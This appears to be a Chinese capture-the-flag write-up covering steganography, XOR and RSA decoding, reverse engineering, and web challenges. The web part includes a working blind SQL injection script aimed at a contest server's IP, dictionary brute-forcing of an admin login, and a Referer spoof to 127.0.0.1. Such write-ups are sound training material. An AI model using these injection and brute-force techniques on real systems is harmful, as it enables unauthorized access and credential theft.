题目是亲爱的热爱的里的 李现唱海阔天空??
开始试了音频隐写,无果。虚拟机看是否有隐藏文件,foremost一下出现一个名为zip的文件夹,里面有一个压缩包
爆破无果,4-6位都试了,winhex也看了,无果,然后strings命令看一下发现一句
开始以为可能是MP3stego解密用的,后面无果
最后,qq音乐翻评论区翻了一波又一波才拿到密码 牛逼
后面得到一张二次元图片,后面看了下其实是个压缩包,然后修改下后缀,然后flag在image1.png里面
前面的弯路就不说了,后面用stegSolve打开看,看到有压缩包文件
保存文件后哦再打开是一张新的jpg文件,看起来和前面的一样,然后想到可能是盲水印,
先下载opencv库,命令pip install opencv-python
然后去github上面下了一个bwm.py
脚本用py2写的,所以cv库要装在py2上啊,之前这里搞了好久啊好烦的
脚本跑一下 命令 python bwm.py decode apple.png pen.png 1.png
这个玩一下就出来了
import base64
'''
a=['MTM=','MDI=','MDI=','MTM=','MWQ=','NDY=','NWE=','MDI=','NGQ=','NTI=','NGQ=','NTg=','NWI=','MTU=','NWU=','MTQ=','MGE=','NWE=','MTI=','MDA=','NGQ=','NWM=','MDE=','MTU=','MDc=','MTE=','MGM=','NTA=','NDY=','NTA=','MTY=','NWI=','NTI=','NDc=','MDI=','NDE=','NWU=','MWU=']
flag=[]
key='unctf'
for i in a:
i='0x'+base64.b64decode(i)
flag.append(i)
'''
key='unctf'
a=[0x13, 0x02, 0x02, 0x13, 0x1d, 0x46, 0x5a, 0x02, 0x4d, 0x52, 0x4d, 0x58, 0x5b, 0x15, 0x5e, 0x14, 0x0a, 0x5a, 0x12, 0x00, 0x4d, 0x5c, 0x01, 0x15, 0x07, 0x11, 0x0c, 0x50, 0x46, 0x50, 0x16, 0x5b, 0x52, 0x47, 0x02, 0x41, 0x5e, 0x1e]
true=''
for i in range(len(a)):
true+=chr(ord(key[i%len(key)])^a[i])
print true
听说是签到题
打开题目登陆框,打算爆破一下
直接admin登陆
拿了个超大的字典去跑,跑到六千多的时候爆出来了,真 签到
脚本:
import requests
url = 'http://101.71.29.5:10049/index.php?file=forget'
result = ''
for x in range(0, 100):
high = 255
low = 0
mid = (low + high) // 2
while high > low:
payload = "1'or if(ascii(substr((password),%d,1))>%d,1,0)#" % (x, mid)
params = {
'username':payload
}
response = requests.post(url, data=params)#,proxies=proxies)
if b'hacker' in response.content:
print("error sql,exit")
exit(0)
if b'ok' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
可以跑出前面一半,用admin登陆后退出隐私模式,后面抓包更改referer:127.0.0.1会在响应里看到后面一半flag
首先运行后,会显示show your flag
拖进32位的IDA里面看一下,先看主函数,
这一段啊哈哈哈哈就是了转成字符串提交就可以了,但是要注意用flag{}包起来
首先题目拖进IDA里面看了下,一打开就给了个假flag。。
先看了下main函数里面有比较flag,然后看了下encode函数
直接上脚本,
key=18
enflag=r'izwhroz""w"v.K".Ni'
flag=""
i=0
while (i<16):
print(chr((ord(enflag[i])^ 18) -6),end="")
print(chr((ord(enflag[i+1]) ^ 18) + 6),end="")
print(chr(ord(enflag[i+2]) ^ 18 ^ 6 ),end="")
i +=3
print(flag)
手动脱壳然后OD调试就出来了
脚本:
import gmpy
def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')
c = 62501276588435548378091741866858001847904773180843384150570636252430662080263
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,int((p+1)/4),p)
s = pow(c,int((q+1)/4),q)
a = gmpy.invert(p,q)
b = gmpy.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n
print (n2s(x%n))
print (n2s((-x)%n))
print (n2s(y%n))
print (n2s((-y)%n))